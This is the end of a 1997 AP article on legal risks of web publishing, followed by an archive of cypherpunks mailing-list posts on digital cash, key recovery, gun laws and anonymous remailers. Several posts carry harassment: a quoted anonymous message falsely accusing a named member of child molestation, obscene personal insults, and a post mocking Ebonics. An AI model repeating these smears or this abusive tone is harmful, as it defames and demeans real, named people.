     
     
     Then, there's invasion of privacy. It's one thing to pass alonga
     juicy bit of gossip to a friend. It's quite another to post it tothe
     Web.
     
     "Let's say, for instance, you disclose some private fact
     aboutsomebody -- say, their medical records. Or you snuck into
     theirhouse and took a nudie photo of them and put it up on the Net.
     Thatwould be a no-no under civil law and they could sue for
     damages,"says David Banisar, staff counsel for the Electronic
     PrivacyInformation Center in Washington, D.C.
     
     Although few of these cases have actually gone to court,
     lawyersoften are called in when things get ugly.
     
     "I know of a few cases where the ex-husband and ex-wife havegone
     after each other on the Net," Banisar says. "In oneinstance, the
     ex-wife put up a diatribe page on what a scumbag hewas and how he
     wasn't paying his child support -- and gave out hisphone number so
     suitably angry women could take it up with him."
     
     Remember, too, that the Internet's reach magnifies everything inthe
     eyes of the law.
     
     
     
   E-mail can make it a federal issue
  
     
     
     Shouting "You jerk, I'm gonna belt you one!" at a carelessdriver who
     runs over your mailbox won't get you into trouble. Butposting the
     threat on the Internet is dangerous. It's all aquestion of reach:
     Anything done over a telecommunications deviceis automatically an
     interstate communication.
     
     "This suddenly makes it a federal issue if you e-mail,"Banisar
     warns.
     
     State statutes vary, but when federal laws come into effect,
     anycommunication containing a threat to kidnap or injure a
     personcarries with it the possibility of imprisonment up to five
     years ora fine of up to $1,000.
     
     And an entirely different level of concern pops up when theobject of
     the threat is an elected official. Like the "no jokes"signs posted
     by airport metal detectors, the FBI has no sense ofhumor when it
     comes to threatening officeholders.
     
     "We can't forget all those idiots arrested for sending threatsto the
     president. So don't send threats to the president overe-mail. It's a
     federal crime," Banisar says.
     
     Fraud is another sticking point. It's illegal everywhere, ofcourse.
     But the Federal Trade Commission has taken an especiallyhard line
     against fraud on the Net. Send a snail-mail chain letterasking for
     money and you might get a call from postal authorities.Try it on the
     Web, however, and you'll be investigated by the FTCforces who track
     online scammers.
     
     
     
   The wrath of large corporations
  
     
     
     But in the end, the biggest vulnerability of any self-publisheron
     the Web is probably the wrath of large corporations.
     
     You can say their logos are ugly and their presidents are jerksand
     they don't flinch. But try using any variety of a heavilytrademarked
     name or image on your site and watch the injunctionsflow.
     
     Generally speaking, it's other businesses who get into trouble.But,
     once in a while, an individual will set out to make a point --and
     get a legally phrased e-mail in response. Several cases haveresulted
     in Web sites' being taken down, including individuals whoposted
     statements against Kmart and McDonald's.
     
     Overall, remember that putting words or pictures up on your Webpage
     is just like publishing them in the newspaper.
     
     Use Rasch's simple test: "What you should avoid putting on theWeb is
     the same stuff you'd avoid putting on leaflets and handingout on the
     street."
     
     Copyright 1997   The Associated Press. All rights reserved. This
     material may not be published, broadcast, rewritten, or
     redistributed. 
     rule
     
  Related sites and stories:
  
     * The Communications Decency Act: Related sites and stories - June
       12, 1996
       
     
     
     External sites are not endorsed by CNN Interactive. rule
     
     Watch these shows on CNN for more sci-tech stories:
     
     CNN Computer Connection | Future Watch | Science & Technology Week
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From dlv at bwalk.dm.com  Sun May  4 21:08:34 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 5 May 1997 12:08:34 +0800
Subject: Bypassing the Digicash Patents
In-Reply-To: <3.0.1.32.19970504183109.02752718@pop.sirius.com>
Message-ID: 


Greg Broiles  writes:
> example, most merchants try to get location/contact information when they
> take a check, because there's some risk that the check will be returned
> (sometimes in as long as 2-3 weeks) after the customer and the merchandise is
> long gone. If checks cleared instantly, this wouldn't be necessary - and I
> think merchants would forego collecting this information (they do now, for

As usual, Greg the C2Net shill writes total bullshit about things he
knows nothing about.  Try paying cash at Radio Shack, and see if they
ask for your name and address for their mailing list.  I guess Greg
is not the type to buy anything at Radio Shack.  What a fitting
employee for C2Net.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From tm at dev.null  Sun May  4 22:48:27 1997
From: tm at dev.null (TruthMonger)
Date: Mon, 5 May 1997 13:48:27 +0800
Subject: Full Strength Stronghold 2.0 Released Worldwide
Message-ID: <199705050515.XAA01193@wombat.sk.sympatico.ca>


Tom Weinstein wrote on cryptography at c2.net:

{With Perry dripping Sameer's sperm from his mouth as his
C2Nut Jackboots soiled the message with the following:}
 [I felt I had to let this go through, but I would advise that those
 involved restrict themselves to calmer comments from here on...
--perry]

> sameer wrote:
> >
> > In a recent announcement, Netscape Communications announced plans to
> > include government back doors in their products. "By implementing this
> > so-called 'key recovery', Netscape is getting a small increase in key
> > length in exchange for putting your keys in the hands of the
> > government," said Parekh. "This the same government that hired Aldrich
> > Ames, the same goverment that has IRS employees surfing taxpayer
> > databases at will. What do you think is going to happen to your keys?"
> 
> This is utter crap, and I'm sure you know it.  All we're going to do is
> provide an OPTIONAL (and I mean really optional, not the way the feds
> use it) way for administrators to recover private keys.  This is not
> GAK.  I will never work on a product that includes GAK.
> 
> Oh, but I guess saying that Netscape is responding to customer
> requirements by including support for corporate key recovery wouldn't
> make such good press release spam.

  Crap seems to be such a violent, obscene word when used to 
describe C2Nut's bullshit. Good thing that the cryptography list
has Perry to protect the list subscribers from StrangleHold's
competition defending themselves from Sameer's self-serving
denigration of their products.

  Too bad C2Nut doesn't have a StrangleHold on the cypherpunks
list, as well. Then they could use censorship threats to make
us all be good little boys and girls, too. 
  I expect all PR statements to have a modicum of bullshit in
them and I resent any lame-fuck-would-be-Hitler trying to put
a lid on the response to that bullshit.

  The fact that StrangleHold seems to have so many things to
hide and such a strong need to control discussion of its product
indicates to me that perhaps their product cannot stand up to
the light of public scrutiny and criticsm.
  C2Nut's bottle-fed cryptography list may be fine for those who
are afraid to know too much about StrangleHold, but anyone who
owns a wetsuit needs to subscribe to the cypherpunks list for 
the good, old-fashioned pissing contests that send the pretenders
home with their tails between their legs.
  (Anyone hear from DataERetch lately?)

PissMonger






From gbroiles at netbox.com  Sun May  4 23:04:41 1997
From: gbroiles at netbox.com (Greg Broiles)
Date: Mon, 5 May 1997 14:04:41 +0800
Subject: Bypassing the Digicash Patents
In-Reply-To: <3.0.1.32.19970504183109.02752718@pop.sirius.com>
Message-ID: <3.0.1.32.19970504225450.006fe22c@pop.sirius.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 11:42 PM 5/4/97 EDT, Dr.Dimitri Vulis KOTM wrote:
>Greg Broiles  writes:
>> example, most merchants try to get location/contact information when they
>> take a check, because there's some risk that the check will be returned
>> (sometimes in as long as 2-3 weeks) after the customer and the merchandise
is
>> long gone. If checks cleared instantly, this wouldn't be necessary - and I
>> think merchants would forego collecting this information (they do now, for
>
>As usual, Greg the C2Net shill writes total bullshit about things he
>knows nothing about.  Try paying cash at Radio Shack, and see if they
>ask for your name and address for their mailing list.  I guess Greg
>is not the type to buy anything at Radio Shack.  What a fitting
>employee for C2Net.

I avoid Radio Shack as a general rule, because I haven't been pleased with
the quality of their products and I find their privacy-hostile behavior
annoying. But when I have made purchases at Radio Shack, I've had no trouble
with them if I say "This is a cash sale. You don't need my name or address."

But I understand you're considerably less courageous in person than you are
from behind a terminal a few thousand miles away, so it's entirely possible
that a mousy Radio Shack clerk asking for your name does pose a significant
threat to your privacy. I had overlooked the "wimpy nerd" problem in my
earlier message. Thanks for pointing out my oversight. In the future, please
assume that when I mention a hypothetical consumer, I mean one of average or
greater fortitude. Perhaps you can find a friend who's not scared of the
Radio Shack clerks to make your purchases for you?


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBM2116P37pMWUJFlhAQEmwwf+LQZaGKOyCOErPlLFo3aRsguix46fhlvS
jYCTc/yTTXObiC5J1IYskaaOpYAmbhtQiSFT+4d8sjhAMteTFVt12gZG0d2RsczT
eHdKthu4NTA6eHPfBjz6C17FcGMaieYXFAbSLHFxFjwVa/g8tN6WHB8IxIG+zPvZ
DVZv4DWsb+SmjQEk0RCs+J5yv2bbAr3lKtXVS7eFzHR9CsaXfIdsq8MisleR+A3u
5ZgRlIdIpDzBEemr32KlL60o8NgcAudLUAimjVb09P6qNmk7A3k+NYwLkaAJrYzk
b+LKyBdoj2opPTiZT1vY3WYEHvpsWpiVJ7yapuNX8r3HlHr+DbNqsA==
=sGw9
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 






From real at freenet.edmonton.ab.ca  Sun May  4 23:18:05 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Mon, 5 May 1997 14:18:05 +0800
Subject: [STEGO] One-time pads
In-Reply-To: <199705042340.QAA09356@fat.doobie.com>
Message-ID: 


I think Vulis needs each of us to send ten copies of this back
to him.

On Sun, 4 May 1997, Huge Cajones Remailer wrote:

> Timmy C. Mayonnaise sexually molests little children, farm 
> animals, and inanimate objects.
> 
>      < >            < >
>       V    )_.._(    V Timmy C. Mayonnaise
>       \\   <____>   //
>         ~ <______> ~      >
>         /~\______/~\     //
>         /~\_____/~\     /_\
>         /~\____/~\     /_\
>          /~\___/\~\  _/_\/
>             \___/\__/__\/
>               \___/__\/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From alan at ctrl-alt-del.com  Sun May  4 23:41:13 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Mon, 5 May 1997 14:41:13 +0800
Subject: Bypassing the Digicash Patents
In-Reply-To: 
Message-ID: <3.0.1.32.19970504232234.00a71af0@mail.teleport.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 10:54 PM 5/4/97 -0700, Greg Broiles wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>At 11:42 PM 5/4/97 EDT, Dr.Dimitri Vulis KOTM wrote:
>>Greg Broiles  writes:
>>> example, most merchants try to get location/contact information when they
>>> take a check, because there's some risk that the check will be returned
>>> (sometimes in as long as 2-3 weeks) after the customer and the
merchandise
>is
>>> long gone. If checks cleared instantly, this wouldn't be necessary - and
I
>>> think merchants would forego collecting this information (they do now,
for
>>
>>As usual, Greg the C2Net shill writes total bullshit about things he
>>knows nothing about.  Try paying cash at Radio Shack, and see if they
>>ask for your name and address for their mailing list.  I guess Greg
>>is not the type to buy anything at Radio Shack.  What a fitting
>>employee for C2Net.

I really knew what specific actions caused people to have such a NASTY
opinion of C2net.  I have seen mistakes on their part, but nothing to warrent
the kind and amount of venom I have seen from people.  Maybe I missed
something somewhere...  (Or is this one of those "people who disagree with me
are "?)

>I avoid Radio Shack as a general rule, because I haven't been pleased with
>the quality of their products and I find their privacy-hostile behavior
>annoying. But when I have made purchases at Radio Shack, I've had no trouble
>with them if I say "This is a cash sale. You don't need my name or address."

I only go to Radio Shack as a LAST resort.  Every electronic part I have
bought from them has failed.  (Usually before instalation.)  About the only
thing I have ever bought from them that was worth what I paid for it was a
printer cable.

>But I understand you're considerably less courageous in person than you are
>from behind a terminal a few thousand miles away, so it's entirely possible
>that a mousy Radio Shack clerk asking for your name does pose a significant
>threat to your privacy. I had overlooked the "wimpy nerd" problem in my
>earlier message. Thanks for pointing out my oversight. In the future, please
>assume that when I mention a hypothetical consumer, I mean one of average or
>greater fortitude. Perhaps you can find a friend who's not scared of the
>Radio Shack clerks to make your purchases for you?

There seem to be more and more companies that ask nosey questions at the cash
register.  Toys R Us has been asking for a home phone number every time I
shop there.  (And every time I give them a random number.  They just ask for
a home phone munber.  I never say it is *MY* home phone number.)

I suggest memorizing the address and phone number of some local establishment
or business.  (In Vullis's case, the local methadone clinic might be in
order...)  Government buildings, stadiums, massage parlors and the like are
also useful.  When these people start finding out that the data is bogus,
maybe they will stop relying on it so much.  (Learning to lie to sales people
with a straight face it a useful skill.  Something I learned being a
programmer I guess...)

And if you think that is bad, you should hear what I tell the pollsters in
the mall... ]:>

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBM218neQCP3v30CeZAQHwmgf/RGmn27rEPtdtdBCVkA+3+UdNCEtLBVL3
IRW9Sr2SNEofX4cbjF+kiiYZM/VDOEGSycq9M+13XApaywxNMQE7D4f3jEVjphSH
+8sEX17BDBTXSOFTjIJaf4bD2Gx+Qld4id7gCU+VeJDiS35Aelxa5mg5nLsHPwzq
qmWMXwvWT8hp5jcN8pwXBqSHb+HMRRpAtkYF+2a6RmpCmjGQ1b48/a3hm01iYi04
sWSAUgEFhJdOwAzu5lFKHYBhQaPVM2kENxzbcHTZha/9f4SKc5mtqGzB/O4aXs1g
DMxAENzJn5uCpAG0AtzTk3Kv2C1xdWhYRZS6ANGPzVgqlQUkjaR0Kg==
=nTwJ
-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From tomw at netscape.com  Mon May  5 02:14:14 1997
From: tomw at netscape.com (Tom Weinstein)
Date: Mon, 5 May 1997 17:14:14 +0800
Subject: Full Strength Stronghold 2.0 Released Worldwide
In-Reply-To: <199705041637.JAA10872@gabber.c2.net>
Message-ID: <336D524B.167E@netscape.com>


sameer wrote:
> 
> In a recent announcement, Netscape Communications announced plans to
> include government back doors in their products. "By implementing this
> so-called 'key recovery', Netscape is getting a small increase in key
> length in exchange for putting your keys in the hands of the
> government," said Parekh. "This the same government that hired Aldrich
> Ames, the same goverment that has IRS employees surfing taxpayer
> databases at will. What do you think is going to happen to your keys?"

This is utter crap, and I'm sure you know it.  All we're going to do is
provide an OPTIONAL (and I mean really optional, not the way the feds
use it) way for administrators to recover private keys.  This is not
GAK.  I will never work on a product that includes GAK.

Oh, but I guess saying that Netscape is responding to customer
requirements by including support for corporate key recovery wouldn't
make such good press release spam.

-- 
You should only break rules of style if you can    | Tom Weinstein
coherently explain what you gain by so doing.      | tomw at netscape.com






From nobody at huge.cajones.com  Mon May  5 05:26:40 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 5 May 1997 20:26:40 +0800
Subject: Ebonics: The Finale
In-Reply-To: 
Message-ID: <199705051200.FAA01520@fat.doobie.com>


At 04:27 PM 5/4/97 -0700, Steve Schear wrote:
|Oakland school officials drop ebonics references
|
|Associated Press
|
|OAKLAND, Calif.-The Oakland public schools African American Task Force has
|dropped all references to ebonies in a final report about improving
|education for black students.

Ofay fools!

It don' be ded. It 'live.

Ebo






From paul at fatmans.demon.co.uk  Mon May  5 05:43:16 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Mon, 5 May 1997 20:43:16 +0800
Subject: Rape, death and XS4ALL
In-Reply-To: <199705041925.OAA30688@manifold.algebra.com>
Message-ID: 




> > > A ban on all handguns even when registered (currently all pistols above 
> > > .22 are banned and all guns have to be registered in a process whereby if 
> > > the applicant for a certificate has any history of political dissention 
> > > or crime (eg. Smoking a joint, the ultimate sin against society) the 
> > > certificate will be refused.
> 
> What would be an example of such political dissention?

Well, I`m pretty sure that, having recently been involved in campaigns 
against the ban on handguns, written to a number of people in positions 
of power over the proposed TTP scheme in the DTI white paper etc. my 
firearms licence will not be renewed the next time it comes up for review.
The powers that be now presumably see me as a loon.

A damning enditement on the British people is that last time I mentioned 
to someone my having written to the home office and others over the 
proposed gun ban I was called a lunatic and told "The sort of person who 
writes to the home office over something like that is the least suitable 
to have a gun".

I can assure you this is not a one-off, this happens every time people who 
don`t shoot find out I do. They have been brainwashed by the 
tabloid press, for example, the daily mail ran a particularly vitriolic 
hate campaign against gun owners singling out Albie Fox, leader of the 
campaign against the ban, and calling him a "Gun obsessed lunatic".
This, recall, is the same daily mail which rants every day about the 
"evil of drugs" and how the only way to "save society" is to throw 
everyone who doesn`t support their particular brand of bigoted fanaticism 
into jail for the rest of their life.

And of course, one would imagine that those who actually owned guns and 
used them for sport themselves would be the most informed people who 
would realise that the criminal use of guns is at the opposite end of the 
scale to the sporting use allowed in British law. However, I know several 
people who have said "I`m happy to give up my guns if it will save 
lives", to this I simply reply "who were you going to kill?" then walk 
away, these people don`t even deserve correcting as their bullshit is so 
deep.

In addition, when the police revoke or refuse to renew a firearms 
certificate, they do not need to give a reason, so one cannot even prove 
that it was because of speech or opinions they didn`t like that they 
revoked the certificate. Even if you could, it is unlikely a challenge in 
court would succeed, the UK does not have the same free speech guarantees 
as are given in the US and elsewhere, and any court challenge would fail, 
of that I am sure.

Also, to worsen the situation, the labour party has now come to power and 
as I have already explained in a previous post this make matters even worse.







From snow at smoke.suba.com  Mon May  5 05:48:07 1997
From: snow at smoke.suba.com (snow)
Date: Mon, 5 May 1997 20:48:07 +0800
Subject: Rejecting Dialog with Government Vermin
In-Reply-To: <19970502085056.16118@bywater.songbird.com>
Message-ID: <199705050531.AAA00507@smoke.suba.com>


Kent Crispin wrote:
> AP? You apparently don't have direct knowledge of this, but after a
> certain level of economic security has been reached economics becomes
> a much less important as a motivator [Maslow].

	Bullshit:
	
	Donald Trump. Leona Helmsley, The Kennedy Clan, etc.

	I would say that with economics, the _more_ you have the more 
it motivates your life. 






From rah at shipwright.com  Mon May  5 06:06:10 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Mon, 5 May 1997 21:06:10 +0800
Subject: digital cc transactions, digital checks vs real digital cash
In-Reply-To: 
Message-ID: 


At 3:37 pm -0400 on 5/4/97, Tim May wrote:


> So, I could use my VISA card to buy a geodesic dome in this geodesic
> economy. Not that I'd want to.

No you couldn't. If you wanted to. :-).

In a geodesic economy, things will settle for bearer cash, unless you
borrow money to pay for them, and even then the loan will be a bearer
certificate loan, and not a book-entry loan like a VISA card is.

Ignoring for the time being that you're using a floatless "loan" when you
buy something with a VISA card...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/








From frantz at netcom.com  Mon May  5 06:41:40 1997
From: frantz at netcom.com (Bill Frantz)
Date: Mon, 5 May 1997 21:41:40 +0800
Subject: Bypassing the Digicash Patents
In-Reply-To: <199705041819.LAA00411@crypt.hfinney.com>
Message-ID: 


At 3:02 PM -0700 5/4/97, Tim May wrote:
>(And such cash systems are almost certainly cheaper for merchants for other
>types of transactions. Getting the money immediately has to be at least as
>cheap as having checks, credit cards, tabs, etc. Obviously.)

An exception may be for businesses like all-night gas stations, where
robbery is a significant cost of doing business.


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz at netcom.com | not have an installed base.| Los Gatos, CA 95032, USA







From kent at songbird.com  Mon May  5 07:07:54 1997
From: kent at songbird.com (Kent Crispin)
Date: Mon, 5 May 1997 22:07:54 +0800
Subject: Rejecting Dialog with Government Vermin
In-Reply-To: <19970502085056.16118@bywater.songbird.com>
Message-ID: <19970505002517.53020@bywater.songbird.com>


On Mon, May 05, 1997 at 12:31:12AM -0500, snow wrote:
> Kent Crispin wrote:
> > AP? You apparently don't have direct knowledge of this, but after a
> > certain level of economic security has been reached economics becomes
> > a much less important as a motivator [Maslow].
> 
> 	Bullshit:
> 	
> 	Donald Trump. Leona Helmsley, The Kennedy Clan, etc.
> 
> 	I would say that with economics, the _more_ you have the more 
> it motivates your life.

And of course, Tim May, and John Gillmore.

"Economics" was a poor choice of word on my part, and you make a good
point.  However, IMO all three examples you give are clearly more 
motivated by power and gamesmanship than they are by economics.  The 
Kennedys, especially, long ago switched to politics.

In general, past a certain level of wealth people remain in the game 
because they enjoy playing it, not because they need the money.  
Prior to that level they seek money because they believe they need 
it.  Some people find it hard to make that transition, and continue 
to believe they need money long after all objective reasons have 
disappeared. 

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From raph at CS.Berkeley.EDU  Mon May  5 07:13:12 1997
From: raph at CS.Berkeley.EDU (Raph Levien)
Date: Mon, 5 May 1997 22:13:12 +0800
Subject: List of reliable remailers
Message-ID: <199705051350.GAA16929@kiwi.cs.berkeley.edu>


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list at kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys at kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list at kiwi.cs.berkeley.edu.

$remailer{"extropia"} = " cpunk pgp special";
$remailer{"mix"} = " cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = " cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = " cpunk pgp hash latent cut ek";
$remailer{"haystack"} = " cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = " cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = " cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = " cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = ' newnym pgp';
$remailer{"balls"} = " cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = " cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = " cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = ' alpha pgp';
$remailer{"dustbin"} = " cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = ' newnym pgp';
$remailer{"reno"} = " cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = " cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = " cpunk pgp hash latent cut ek";
$remailer{"hidden"} = " cpunk pgp hash latent cut";
catalyst at netcom.com is _not_ a remailer.
lmccarth at ducie.cs.umass.edu is _not_ a remailer.
usura at replay.com is _not_ a remailer.
remailer at crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 5 May 97 6:45:39 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config at nym.alias.net             *+*#+#+++**#     3:30  99.99%
cyber    alias at alias.cyberpass.net        ++++*-++***#    19:39  99.98%
balls    remailer at huge.cajones.com        *####*####*#     1:52  99.97%
squirrel mix at squirrel.owl.de              +-++++++++-   1:54:28  99.94%
weasel   config at weasel.owl.de             +-++-+++++-   1:57:01  99.90%
lucifer  lucifer at dhp.com                  ++++++++++++    35:18  99.90%
mix      mixmaster at remail.obscura.com     ++.-.-.---.-  8:18:24  99.87%
replay   remailer at replay.com               ***++- * -*    54:35  98.34%
jam      remailer at cypherpunks.ca           ******* ***     8:52  97.43%
winsock  winsock at rigel.cyberpass.net      -------..-    5:58:48  97.30%
hidden   remailer at hidden.net              #+#**#+#   +  5:34:09  95.94%
reno     middleman at cyberpass.net          -+.--+-.+     1:19:01  90.79%
dustbin  dustman at athensnet.com                 -..--    3:59:41  78.48%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien






From whgiii at amaranth.com  Mon May  5 08:10:29 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Mon, 5 May 1997 23:10:29 +0800
Subject: Problems with posts
Message-ID: <199705051451.JAA00342@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

Hmmmm I seem to be having some problems with getting my messages posted to
the list (at least they are not showing up back here). :(

This is just a test so please ignore.

Thanks,


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Win3.1? For fast relief call 800-3-IBM-OS2.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
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From jimbell at pacifier.com  Mon May  5 09:11:54 1997
From: jimbell at pacifier.com (Jim Bell)
Date: Tue, 6 May 1997 00:11:54 +0800
Subject: Rejecting Dialog with Government Vermin
Message-ID: <199705051536.IAA12717@mail.pacifier.com>


At 08:50 5/02/97 -0700, Kent Crispin wrote:
>On Fri, May 02, 1997 at 12:34:19AM -0800, Jim Bell wrote:

>The basic point, really, is that organizational complexity grows 
>with the size of the organization, at a greater than linear rate.  
>This is because organizational complexity is a function of 
>interactions between members of the organization, which is at least 
>n-squared.  (However, when you consider that alliances form and can 
>interact, the true complexity grows at a much faster rate.) 

You seem to be taken with making all sorts of bare, unsupported claims,
obviously with the intention of explaining (for example) away what was
apparently an INTENTIONAL increase in the size of Federal government between
(say) 1932 and today.   

To read your paragraph above, its increase in size was simply the
unavoidable consequence of nature's laws or something akin to it.  Maybe a
product of number theory, or the Fibbonacci sequence, exponential increase,
or something like that.  Which would, if true, remove just about all the
blame from those who were in control of the situation.

BULLSHIT!

Chances are good that at least 75% of the size of the US Federal government
today is due to spending that wasn't considered the proper Constitutional
function of the government before 1930, and certainly not before 1900 or so.
(Large peacetime military, Socialist Insecurity, Welfare, Medicare,
Medicaid, interest on national debt caused by deficit spending that occurred
due to funding these previous atrocities, etc.)

>> But NONE of this is truly needed.  I have a solution to that problem.
>
>Jim, have you considered the interaction between religious beliefs and
>AP? You apparently don't have direct knowledge of this, but after a
>certain level of economic security has been reached economics becomes
>a much less important as a motivator [Maslow].

Other people have blown this claim away, so I don't think I need bounce the
rubble further.  However, I wonder why you think that people will not resent
the theft of their property simply because they've reached "a certain level
of economic security."?

Frankly, it sounds like yet another of your "let's justify the government
through specious arguments" exercises.


Jim Bell
jimbell at pacifier.com






From tcmay at got.net  Mon May  5 10:10:05 1997
From: tcmay at got.net (Tim May)
Date: Tue, 6 May 1997 01:10:05 +0800
Subject: Insults about C2Net
In-Reply-To: <3.0.1.32.19970504225450.006fe22c@pop.sirius.com>
Message-ID: 


At 10:22 PM -0800 5/4/97, Alan Olsen wrote:

>I really knew what specific actions caused people to have such a NASTY
>opinion of C2net.  I have seen mistakes on their part, but nothing to warrent
>the kind and amount of venom I have seen from people.  Maybe I missed
>something somewhere...  (Or is this one of those "people who disagree with me
>are "?)

This is an easy one. The only continuing insults I see come from Vulis. No
further explanation is needed.

(One wonders why Vulis does not simply program one of his insultbots to
spew out a daily insult.)

I happen to believe C2Net overreacted to Vulis' slur about the quality of
Stronghold, and I strongly, strongly believe that Sandy S. should not have
censored the Vulis post while being an employee of C2Net (that is, he
should have done one or more of the following: let it pass the way so many
off the wall posts were passed, announce publically what he was doing at
the very least, recuse himself from the decision due to conflict of
interest, or, best of all, quit as censor).

But the C2Net flap is behind us. The continuing claims that it was C2Net
which instructed Gilmore to remove Vulis are incorrect--Gilmore actually
receives his instructions from the Elders of Zion, relayed through the San
Francisco representatives of the Bilderburgers.

As for stores asking for personal info, this is unsurprising. Fortunately,
one can always refuse to give it, or lie, or just shrug. No laws yet demand
this information be given (except for sales of guns and other such
